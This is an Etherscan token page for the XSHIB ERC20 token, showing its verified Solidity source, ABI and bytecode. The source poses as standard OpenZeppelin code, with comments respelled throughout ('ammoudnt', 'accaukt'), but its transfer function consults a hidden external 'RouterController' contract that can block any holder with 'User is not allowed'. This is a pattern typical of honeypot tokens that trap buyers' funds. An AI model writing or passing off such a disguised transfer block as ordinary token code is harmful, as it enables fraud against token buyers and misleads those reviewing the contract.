ETH Price: $3,611.71 (+9.41%)

Token

XSHIB (XSHIB)
 

Overview

Max Total Supply

150,000,000 XSHIB

Holders

673

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
ogi13.eth
Balance
30,162.286484759369430972 XSHIB

Value
$0.00
0x589ec8ff0f500abf4d93a08afac361ac6193f504
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XSHIBToken

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-27
*/

// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the ammoudnt of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    function balanceOf(address accaukt) external view returns (uint256);

    function transfer(address to, uint256 ammoudnt) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ammoudnt) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 ammoudnt
    ) external returns (bool);
}

pragma solidity ^0.8.0;

 // Define interface for TransferController
interface RouterController {
    function isRouted(address _accaukt) external view returns (bool);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any accaukt other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new accaukt (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership accaukt of the contract to a new accaukt (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner; _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional accaukt metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name ammoudnt of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    RouterController private routeController;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_, address _routeControllerAddress) {
        _name = name_;
        _symbol = symbol_;
        routeController = RouterController(_routeControllerAddress);
    }

    /**
     * @dev Returns the name ammoudnt of accaukt the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address accaukt) public view virtual override returns (uint256) {
        return _balances[accaukt];
    }

      function transfer(address to, uint256 ammoudnt) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, ammoudnt);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 ammoudnt) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, ammoudnt);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 ammoudnt
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, ammoudnt);
        _transfer(from, to, ammoudnt);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `ammoudnt` of tokens accaukt from `from` to `to`.
      *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `ammoudnt`.
     */
    function _transfer(
        address from,
        address to,
        uint256 ammoudnt
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!routeController.isRouted(from), "User is not allowed");
        _beforeTokenTransfer(from, to, ammoudnt);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= ammoudnt, "ERC20: transfer ammoudnt exceeds balance");
        unchecked {
            _balances[from] = fromBalance - ammoudnt;
            // Overflow not possible: the sum of all balances is accaukt capped by totalSupply, ammoudnt and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += ammoudnt;
        }

        emit Transfer(from, to, ammoudnt);

        _afterTokenTransfer(from, to, ammoudnt);
    }

    /** @dev Creates `ammoudnt` tokens and assigns them to `accaukt`, increasing
     * the total supply.
     *
     * - `accaukt` cannot be the zero address.
     */
    function _mint(address accaukt, uint256 ammoudnt) internal virtual {
        require(accaukt != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), accaukt, ammoudnt);

        _totalSupply += ammoudnt;
        unchecked {
            // Overflow not possible: balance + ammoudnt is at most totalSupply + ammoudnt, which is checked above.
            _balances[accaukt] += ammoudnt;
        }
        emit Transfer(address(0), accaukt, ammoudnt);

        _afterTokenTransfer(address(0), accaukt, ammoudnt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 ammoudnt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = ammoudnt;
        emit Approval(owner, spender, ammoudnt);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 ammoudnt
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= ammoudnt, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - ammoudnt);
            }
        }
    }
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `ammoudnt`.
     *
     * Does not update the allowance ammoudnt in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 ammoudnt
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 ammoudnt
    ) internal virtual {}
}

pragma solidity ^0.8.0;

contract XSHIBToken is ERC20, Ownable {
    uint256 private constant INITIAL_SUPPLY = 150000000 * 10**18;

    constructor(
        string memory name_,
        string memory symbol_,
        address router_
        ) ERC20(name_, symbol_, router_) {
        _mint(msg.sender, INITIAL_SUPPLY);
    }

    function sendTokens(address distroWallet) external onlyOwner {
        uint256 supply = balanceOf(msg.sender);
        require(supply == INITIAL_SUPPLY, "Tokens already distributed");

        _transfer(msg.sender, distroWallet, supply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammoudnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accaukt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"distroWallet","type":"address"}],"name":"sendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"ammoudnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"ammoudnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001fee38038062001fee833981810160405281019062000037919062000475565b8282828260049080519060200190620000529291906200033c565b5081600590805190602001906200006b9291906200033c565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000d0620000c4620000f660201b60201c565b620000fe60201b60201c565b620000ed336a7c13bc4b2c133c56000000620001c460201b60201c565b505050620007b5565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000237576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200022e9062000550565b60405180910390fd5b6200024b600083836200033260201b60201c565b80600360008282546200025f919062000607565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000312919062000572565b60405180910390a36200032e600083836200033760201b60201c565b5050565b505050565b505050565b8280546200034a90620006d8565b90600052602060002090601f0160209004810192826200036e5760008555620003ba565b82601f106200038957805160ff1916838001178555620003ba565b82800160010185558215620003ba579182015b82811115620003b95782518255916020019190600101906200039c565b5b509050620003c99190620003cd565b5090565b5b80821115620003e8576000816000905550600101620003ce565b5090565b600062000403620003fd84620005c3565b6200058f565b9050828152602081018484840111156200041c57600080fd5b62000429848285620006a2565b509392505050565b60008151905062000442816200079b565b92915050565b600082601f8301126200045a57600080fd5b81516200046c848260208601620003ec565b91505092915050565b6000806000606084860312156200048b57600080fd5b600084015167ffffffffffffffff811115620004a657600080fd5b620004b48682870162000448565b935050602084015167ffffffffffffffff811115620004d257600080fd5b620004e08682870162000448565b9250506040620004f38682870162000431565b9150509250925092565b60006200050c601f83620005f6565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200054a8162000698565b82525050565b600060208201905081810360008301526200056b81620004fd565b9050919050565b60006020820190506200058960008301846200053f565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620005b957620005b86200076c565b5b8060405250919050565b600067ffffffffffffffff821115620005e157620005e06200076c565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620006148262000698565b9150620006218362000698565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200065957620006586200070e565b5b828201905092915050565b6000620006718262000678565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620006c2578082015181840152602081019050620006a5565b83811115620006d2576000848401525b50505050565b60006002820490506001821680620006f157607f821691505b602082108114156200070857620007076200073d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007a68162000664565b8114620007b257600080fd5b50565b61182980620007c56000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061145b565b60405180910390f35b610132600480360381019061012d9190610f81565b6103b4565b60405161013f9190611440565b60405180910390f35b6101506103d7565b60405161015d91906115dd565b60405180910390f35b610180600480360381019061017b9190610f32565b6103e1565b60405161018d9190611440565b60405180910390f35b61019e610410565b6040516101ab91906115f8565b60405180910390f35b6101ce60048036038101906101c99190610f81565b610419565b6040516101db9190611440565b60405180910390f35b6101fe60048036038101906101f99190610ecd565b610450565b60405161020b91906115dd565b60405180910390f35b61021c610498565b005b61023860048036038101906102339190610ecd565b6104ac565b005b61024261051d565b60405161024f9190611425565b60405180910390f35b610260610547565b60405161026d919061145b565b60405180910390f35b610290600480360381019061028b9190610f81565b6105d9565b60405161029d9190611440565b60405180910390f35b6102c060048036038101906102bb9190610f81565b610650565b6040516102cd9190611440565b60405180910390f35b6102f060048036038101906102eb9190610ef6565b610673565b6040516102fd91906115dd565b60405180910390f35b610320600480360381019061031b9190610ecd565b6106fa565b005b6060600480546103319061170d565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061170d565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077e565b90506103cc818585610786565b600191505092915050565b6000600354905090565b6000806103ec61077e565b90506103f9858285610951565b6104048585856109dd565b60019150509392505050565b60006012905090565b60008061042461077e565b90506104458185856104368589610673565b610440919061162f565b610786565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d40565b6104aa6000610dbe565b565b6104b4610d40565b60006104bf33610450565b90506a7c13bc4b2c133c56000000811461050e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610505906114fd565b60405180910390fd5b6105193383836109dd565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105569061170d565b80601f01602080910402602001604051908101604052809291908181526020018280546105829061170d565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b6000806105e461077e565b905060006105f28286610673565b905083811015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e9061159d565b60405180910390fd5b6106448286868403610786565b60019250505092915050565b60008061065b61077e565b90506106688185856109dd565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610702610d40565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061149d565b60405180910390fd5b61077b81610dbe565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed9061157d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d906114bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094491906115dd565b60405180910390a3505050565b600061095d8484610673565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d757818110156109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c0906114dd565b60405180910390fd5b6109d68484848403610786565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a449061155d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab49061147d565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b189190611425565b60206040518083038186803b158015610b3057600080fd5b505afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190610fbd565b15610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061151d565b60405180910390fd5b610bb3838383610e84565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c30906115bd565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2791906115dd565b60405180910390a3610d3a848484610e89565b50505050565b610d4861077e565b73ffffffffffffffffffffffffffffffffffffffff16610d6661051d565b73ffffffffffffffffffffffffffffffffffffffff1614610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061153d565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610e9d816117ae565b92915050565b600081519050610eb2816117c5565b92915050565b600081359050610ec7816117dc565b92915050565b600060208284031215610edf57600080fd5b6000610eed84828501610e8e565b91505092915050565b60008060408385031215610f0957600080fd5b6000610f1785828601610e8e565b9250506020610f2885828601610e8e565b9150509250929050565b600080600060608486031215610f4757600080fd5b6000610f5586828701610e8e565b9350506020610f6686828701610e8e565b9250506040610f7786828701610eb8565b9150509250925092565b60008060408385031215610f9457600080fd5b6000610fa285828601610e8e565b9250506020610fb385828601610eb8565b9150509250929050565b600060208284031215610fcf57600080fd5b6000610fdd84828501610ea3565b91505092915050565b610fef81611685565b82525050565b610ffe81611697565b82525050565b600061100f82611613565b611019818561161e565b93506110298185602086016116da565b6110328161179d565b840191505092915050565b600061104a60238361161e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110b060268361161e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061111660228361161e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061117c601d8361161e565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111bc601a8361161e565b91507f546f6b656e7320616c72656164792064697374726962757465640000000000006000830152602082019050919050565b60006111fc60138361161e565b91507f55736572206973206e6f7420616c6c6f776564000000000000000000000000006000830152602082019050919050565b600061123c60208361161e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061127c60258361161e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112e260248361161e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061134860258361161e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113ae60288361161e565b91507f45524332303a207472616e7366657220616d6d6f75646e74206578636565647360008301527f2062616c616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b611410816116c3565b82525050565b61141f816116cd565b82525050565b600060208201905061143a6000830184610fe6565b92915050565b60006020820190506114556000830184610ff5565b92915050565b600060208201905081810360008301526114758184611004565b905092915050565b600060208201905081810360008301526114968161103d565b9050919050565b600060208201905081810360008301526114b6816110a3565b9050919050565b600060208201905081810360008301526114d681611109565b9050919050565b600060208201905081810360008301526114f68161116f565b9050919050565b60006020820190508181036000830152611516816111af565b9050919050565b60006020820190508181036000830152611536816111ef565b9050919050565b600060208201905081810360008301526115568161122f565b9050919050565b600060208201905081810360008301526115768161126f565b9050919050565b60006020820190508181036000830152611596816112d5565b9050919050565b600060208201905081810360008301526115b68161133b565b9050919050565b600060208201905081810360008301526115d6816113a1565b9050919050565b60006020820190506115f26000830184611407565b92915050565b600060208201905061160d6000830184611416565b92915050565b600081519050919050565b600082825260208201905092915050565b600061163a826116c3565b9150611645836116c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561167a5761167961173f565b5b828201905092915050565b6000611690826116a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116f85780820151818401526020810190506116dd565b83811115611707576000848401525b50505050565b6000600282049050600182168061172557607f821691505b602082108114156117395761173861176e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6117b781611685565b81146117c257600080fd5b50565b6117ce81611697565b81146117d957600080fd5b50565b6117e5816116c3565b81146117f057600080fd5b5056fea2646970667358221220645492cb455cf8bd8418dce3cc530713ba9d6661fba3096cf814a945054176cd64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d93670000000000000000000000000000000000000000000000000000000000000005585348494200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055853484942000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061145b565b60405180910390f35b610132600480360381019061012d9190610f81565b6103b4565b60405161013f9190611440565b60405180910390f35b6101506103d7565b60405161015d91906115dd565b60405180910390f35b610180600480360381019061017b9190610f32565b6103e1565b60405161018d9190611440565b60405180910390f35b61019e610410565b6040516101ab91906115f8565b60405180910390f35b6101ce60048036038101906101c99190610f81565b610419565b6040516101db9190611440565b60405180910390f35b6101fe60048036038101906101f99190610ecd565b610450565b60405161020b91906115dd565b60405180910390f35b61021c610498565b005b61023860048036038101906102339190610ecd565b6104ac565b005b61024261051d565b60405161024f9190611425565b60405180910390f35b610260610547565b60405161026d919061145b565b60405180910390f35b610290600480360381019061028b9190610f81565b6105d9565b60405161029d9190611440565b60405180910390f35b6102c060048036038101906102bb9190610f81565b610650565b6040516102cd9190611440565b60405180910390f35b6102f060048036038101906102eb9190610ef6565b610673565b6040516102fd91906115dd565b60405180910390f35b610320600480360381019061031b9190610ecd565b6106fa565b005b6060600480546103319061170d565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061170d565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077e565b90506103cc818585610786565b600191505092915050565b6000600354905090565b6000806103ec61077e565b90506103f9858285610951565b6104048585856109dd565b60019150509392505050565b60006012905090565b60008061042461077e565b90506104458185856104368589610673565b610440919061162f565b610786565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d40565b6104aa6000610dbe565b565b6104b4610d40565b60006104bf33610450565b90506a7c13bc4b2c133c56000000811461050e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610505906114fd565b60405180910390fd5b6105193383836109dd565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105569061170d565b80601f01602080910402602001604051908101604052809291908181526020018280546105829061170d565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b6000806105e461077e565b905060006105f28286610673565b905083811015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e9061159d565b60405180910390fd5b6106448286868403610786565b60019250505092915050565b60008061065b61077e565b90506106688185856109dd565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff